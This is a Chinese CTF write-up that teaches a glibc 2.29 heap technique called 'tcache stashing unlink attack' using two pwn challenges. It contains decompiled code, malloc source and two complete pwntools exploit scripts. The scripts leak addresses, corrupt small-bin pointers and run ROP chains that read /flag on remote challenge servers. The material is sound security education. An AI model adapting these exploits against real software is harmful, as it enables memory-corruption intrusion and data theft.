前言

前几天BUUCTF办了场新春红包赛,做到了一道咲夜南梦师傅出的glibc 2.29下的题,做题过程中发现和去年Hitcon CTF的一道one punch man很像,网上其他人的做法有unlinklarge bin attack,这里再引进一种新的攻击方式,达到相同条件下任意地址写一个libc地址的目的。需要声明的是这种攻击方式并非笔者原创,而是看到台湾一位师傅berming博客的题解学习的,这种攻击方式原作者称为TCACHE STASHING UNLINK ATTACK,现分享给大家。

Hitcon 2019 one punch man

程序分析

程序开启了常见的所有保护,实现了AddEditDeleteShow等功能,除此之外还有一个后门函数Backdoor

另外函数有沙箱保护,只有下面这些系统调用可用。

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

其中,Add函数可以分配[0x80,0x400]大小的堆块,分配的函数为calloc,输入数据首先存储到栈上,之后再使用strncpy拷贝到bss上的数组里

unsigned __int64 __fastcall Add(__int64 a1, __int64 a2)
{
  unsigned int idx; // [rsp+8h] [rbp-418h]
  signed int name_len; // [rsp+Ch] [rbp-414h]
  char s[1032]; // [rsp+10h] [rbp-410h]
  unsigned __int64 v6; // [rsp+418h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  MyPuts("idx: ");
  idx = read_int();
  if ( idx > 2 )
    error("invalid", a2);
  MyPuts("hero name: ");
  memset(s, 0, 0x400uLL);
  name_len = read(0, s, 0x400uLL);
  if ( name_len <= 0 )
    error("io", s);
  s[name_len - 1] = 0;
  if ( name_len <= 0x7F || name_len > 0x400 )
    error("poor hero name", s);
  *((_QWORD *)&unk_4040 + 2 * idx) = calloc(1uLL, name_len);
  qword_4048[2 * idx] = name_len;
  strncpy(*((char **)&unk_4040 + 2 * idx), s, name_len);
  memset(s, 0, 0x400uLL);
  return __readfsqword(0x28u) ^ v6;
}

Delete函数free堆块之后未清空,造成double freeUAF

void __fastcall Delete(__int64 a1, __int64 a2)
{
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  MyPuts("idx: ");
  v2 = read_int();
  if ( v2 > 2 )
    error("invalid", a2);
  free(*((void **)&unk_4040 + 2 * v2));
}

后门函数可以调用malloc分配0x217大小的堆块,但是要要满足*(_BYTE *)(qword_4030 + 0x20) > 6,我们在main函数里可以看到这里被初始化为heap_base+0x10,对于glibc 2.29,这个位置对应存储的是tcache_perthread_struct0x220大小的tcache_bin的数量,正常来说,如果我们想调用后门的功能,要让这个count为7,然而这也就意味着0x217再分配和释放都同glibc 2.23一样,我们无法通过UAF改chunk的fd来达到任意地址写的目的,因此我们要通过别的方式修改这个值。

/*
ptr = (char *)malloc(0x1000uLL);
  if ( !ptr )
    error("err", a2);
  v3 = ptr;
  free(ptr);
  qword_4030 = ((unsigned __int64)ptr & 0xFFFFFFFFFFFFF000LL) + 0x10;
*/
__int64 __fastcall Magic(__int64 a1, __int64 a2)
{
  void *buf; // [rsp+8h] [rbp-8h]

  if ( *(_BYTE *)(qword_4030 + 0x20) <= 6 )
    error("gg", a2);
  buf = malloc(0x217uLL);
  if ( !buf )
    error("err", a2);
  if ( read(0, buf, 0x217uLL) <= 0 )
    error("io", buf);
  puts("Serious Punch!!!");
  puts(&unk_2128);
  return puts(buf);
}

Edit和Show函数都是实现了字面功能的函数,不再赘述。

漏洞利用

现在的目标变成了如何在一个地址上写一个较大的数,在glibc 2.29增加了对unsorted bin attack的检查,即检查双向链表的完整性,这使得这个攻击完全失去了作用,由于我们使用的是calloc,分配过程中不从tcache bins中取堆块,只能用fastbin attack,但是这里又限制分配的大小从0x80开始,这种思路也失效了,在这种情况下我们要介绍的攻击方式就派上了用场。

这种攻击的场景是我们请求申请一个大小为size的chunk,此时堆中有空闲的small bin(两个),根据small bin的FIFO,会对最早释放的small bin进行unlink操作,在unlink之前会有链表的完整性检查__glibc_unlikely (bck->fd != victim),在将这个堆块给用户之后,如果对应的tcache bins的数量小于最大数量,则剩余的small bin将会被放入tcache,这时候放入的话没有完整性检查,即不会检查这些small bin的fdbk。在放入之前会有另一次unlink,这里的bck->fd = bin;产生的结果是将bin的值写到了*(bck+0x10),我们可以将bck伪造为target_addr-0x10,bin为libc相关地址,则可以向target_addr写入bin,攻击结果和unsored bin attack的结果类似。

注意刚才描述的放入过程是一个循环,我们将伪造的bck看成一个堆块,其bk很可能是一个非法的地址,这样就导致循环到下一个堆块时unlink执行到bck->fd = bin;访问非法内存造成程序crash。为了避免这种情况我们选择释放6个对应size的chunk到tcache bin,只为tcache留一个空间,这样循环一次就会跳出,不会有后续问题。

/*
     If a small request, check regular bin.  Since these "smallbins"
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

有了上述介绍之后解题就简单多了,首先UAF可以泄露heaplibc地址,然后我们free一个0x220大小的块进入tcache并使用UAF修改其fd__malloc_hook备用。

之后我们释放9次0x400大小的堆块,再分配大小为0x300的堆块,产生一个0x100大的last_remainder,再分配一个大于0x100的堆块让这个last_remainder放入small bin[0x100];再用相同方式构造出另一个相同大小small bin,我们分别称之为bin1和bin2,使用Editbin2->bk改为(heap_base+0x2f)-0x10,调用calloc(0xf0)触发上述流程,最终改掉heap_base+0x30的值绕过检查。

最后调用后门函数修改__malloc_hookgadget(mov eax, esi ; add rsp, 0x48 ; ret),在add的时候将rsp改到可控的输入区域调用rop chains

exp.py

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./one_punch')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./one_punch')

else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)

def Add(idx,name):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)


def Edit(idx,name):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def Show(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def BackDoor(buf):
    p.recvuntil('> ')
    p.sendline('50056')
    sleep(0.1)
    p.send(buf)

def exp():
    #leak heap
    for i in range(7):
        Add(0,'a'*0x120)
        Delete(0)
    Show(0)
    p.recvuntil("hero name: ")
    heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x850
    log.success("[+]heap base => "+ hex(heap_base))
    #leak libc
    Add(0,'a'*0x120)
    Add(1,'a'*0x400)
    Delete(0)
    Show(0)
    p.recvuntil("hero name: ")
    libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - (0x902ca0-0x71e000)
    log.success("[+]libc base => " + hex(libc_base))
    #
    for i in range(6):
        Add(0,'a'*0xf0)
        Delete(0)
    for i in range(7):
        Add(0,'a'*0x400)
        Delete(0)
    Add(0,'a'*0x400)
    Add(1,'a'*0x400)
    Add(1,'a'*0x400)
    Add(2,'a'*0x400)
    Delete(0)#UAF
    Add(2,'a'*0x300)
    Add(2,'a'*0x300)
    gdb.attach(p)
    #agagin
    Delete(1)#UAF

    Add(2,'a'*0x300)

    Add(2,'a'*0x300)
    Edit(2,'/flag'.ljust(8,'\x00'))

    Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))

    #trigger

    Add(0,'a'*0x217)

    Delete(0)


    Edit(0,p64(libc_base+libc.sym['__malloc_hook']))

    Add(0,'a'*0xf0)

    BackDoor('a')

    #mov eax, esi ; add rsp, 0x48 ; ret
    #magic_gadget = libc_base + libc.sym['setcontext']+53
    # add rsp, 0x48 ; ret
    magic_gadget = libc_base + 0x000000000008cfd6
    payload = p64(magic_gadget)

    BackDoor(payload)

    p_rdi = libc_base + 0x0000000000026542
    p_rsi = libc_base + 0x0000000000026f9e
    p_rdx = libc_base + 0x000000000012bda6
    p_rax = libc_base + 0x0000000000047cf8
    syscall = libc_base + 0x00000000000cf6c5
    rop_heap = heap_base + 0x44b0

    rops = p64(p_rdi)+p64(rop_heap)
    rops += p64(p_rsi)+p64(0)
    rops += p64(p_rdx)+p64(0)
    rops += p64(p_rax)+p64(2)
    rops += p64(syscall)
    #rops += p64(libc.sym['open'])
    #read
    rops += p64(p_rdi)+p64(3)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x70)
    rops += p64(p_rax)+p64(0)
    rops += p64(syscall)
    #rops += p64(libc.sym['read'])
    #write
    rops += p64(p_rdi)+p64(1)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x70)
    rops += p64(p_rax)+p64(1)
    rops += p64(syscall)
    Add(0,rops)


    p.interactive()

exp()

BUUCTF 新春红包赛

程序分析

这道题目和上面的题目非常相似,开启了除canary之外的所有保护,禁掉了execve

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = args[2] >> 32
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = args[2]
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

此外程序允许Add的次数最多为28次,只能分配0x100xf00x3000x400的堆块,只能Edit一次,存在double free漏洞,后门里可以溢出到rbpretn_addr进行栈迁移。绕过的条件是*(_QWORD *)(qword_4058 + 0x800) > 0x7F0000000000LL或者*(_QWORD *)(qword_4058 + 0x7F8*(_QWORD *)(qword_4058 + 0x808)其中一个不为0,这个地址被初始化为堆基址。

/*
qword_4058 = (__int64)malloc(0x1000uLL);qword_4050 = qword_4058 & 0xFFFFFFFFFFFFF000LL
*/
ssize_t __fastcall Magic(__int64 a1, __int64 a2)
{
  char buf; // [rsp+0h] [rbp-80h]

  if ( *(_QWORD *)(qword_4058 + 0x800) <= 0x7F0000000000LL
    || *(_QWORD *)(qword_4058 + 0x7F8)
    || *(_QWORD *)(qword_4058 + 0x808) )        // large bin attack?
  {
    GoodBye();
  }
  puts("You get red packet!");
  printf("What do you want to say?", a2);
  return read(0, &buf, 0x90uLL);                // no canary
}

漏洞利用

我们的做法和之前一致,通过tcache stashing unlink attack将目标地址改为libc相关地址绕过检查,之后调用后门进行栈迁移。

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:

    p = process('./pwn')

else:
    p = remote('node3.buuoj.cn',28367)

map_1 ={"0x10":"1","0xf0":"2","0x300":"3","0x400":"4"}

def Add(idx,size,content):
    p.recvuntil('Your input: ')
    p.sendline('1')
    p.recvuntil("Please input the red packet idx: ")
    p.sendline(str(idx))
    p.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
    p.sendline(map_1[hex(size)])
    p.recvuntil("Please input content: ")
    p.send(content)

def Show(idx):
    p.recvuntil('Your input: ')
    p.sendline('4')
    p.recvuntil("Please input the red packet idx: ")
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('Your input: ')
    p.sendline('2')
    p.recvuntil("Please input the red packet idx: ")
    p.sendline(str(idx))

def Edit(idx,content):
    p.recvuntil('Your input: ')
    p.sendline('3')
    p.sendlineafter("Please input the red packet idx: ",str(idx))
    p.recvuntil("Please input content: ")
    p.send(content)

def Suprise(content):
    p.recvuntil('Your input: ')
    p.sendline('666')
    p.sendafter("What do you want to say?",content)



def exp():
    #leak heap
    for i in range(0,13):
        Add(i,0x400,str(i))
    for i in range(6):
        Add(13,0xf0,str(13))
        Delete(13)

    Delete(0)
    Delete(1)
    Show(1)
    #leak heap
    heap_base = u64(p.recvline().strip("\n").ljust(8,"\x00")) - (0xa270-0x9000)
    log.success("[*]heap base => " + hex(heap_base))
    #leak libc
    for i in range(2,8):
        Delete(i)
    Show(7)
    libc_base = u64(p.recvline().strip('\n').ljust(8,"\x00")) - (0x7ffff7fb4ca0-0x7ffff7dd0000)
    log.success("libc base => " + hex(libc_base))
    libc.address = libc_base
    p_rdi = libc_base + 0x0000000000026542
    p_rsi = libc_base + 0x0000000000026f9e
    p_rdx = libc_base + 0x000000000012bda6
    p_rax = libc_base + 0x0000000000047cf8
    syscall = libc_base + 0x00000000000cf6c5
    leave_ret = libc_base + 0x0000000000058373
    #
    #add 6 bins to tcache[0x100]
    #for i in range(8,13):
    #    Delete(i)

    Add(0,0x300,"0")#cut 0x410->0x310+0x100
    Add(1,0x300,"1")#put 0x100 to small bin in order to be in tcache



    Delete(9)#7 & 9
    Add(2,0x300,"2")
    Add(3,0x300,"3")
    #now we write sth

    rop_heap = heap_base+(0x55555555c700-0x555555559000)
    #open
    rops = "/flag\x00\x00\x00"
    rops += p64(p_rdi)+p64(rop_heap)
    rops += p64(p_rsi)+p64(0)
    rops += p64(p_rdx)+p64(0)
    rops += p64(p_rax)+p64(2)
    rops += p64(syscall)
    #rops += p64(libc.sym['open'])
    #read
    rops += p64(p_rdi)+p64(3)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x30)
    rops += p64(p_rax)+p64(0)
    rops += p64(syscall)
    #rops += p64(libc.sym['read'])
    #write
    rops += p64(p_rdi)+p64(1)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x30)
    rops += p64(p_rax)+p64(1)
    rops += p64(syscall)
    #rops += p64(libc.sym['write'])
    rops = rops.ljust(0x300,'\x00')
    Edit(9,rops+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c1e0-0x555555559000))+p64(heap_base+(0x555555559a60-0x555555559000)-0x10))


    #gdb.attach(p,'b* 0x0000555555554000 + 0x144d')
    Add(0,0xf0,"1")#put 0x100 to small bin in order to be in tcache
    #now we rop

    payload = "a"*0x80+p64(rop_heap)+p64(leave_ret)
    Suprise(payload)

    p.interactive()

exp()

总结

这种攻击方式的利用结果和unsorted bin attack的结果非常相似,有望成为glibc 2.29下替代后者的新兴手段。另外据AngelBoy的回复,Hitcon另一题LazyHouse其中也用到了这种攻击方式,大家可以实践一下。

参考

berming

BUUCTF_RedPacPwn.zip (0.836 MB) 下载附件
点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖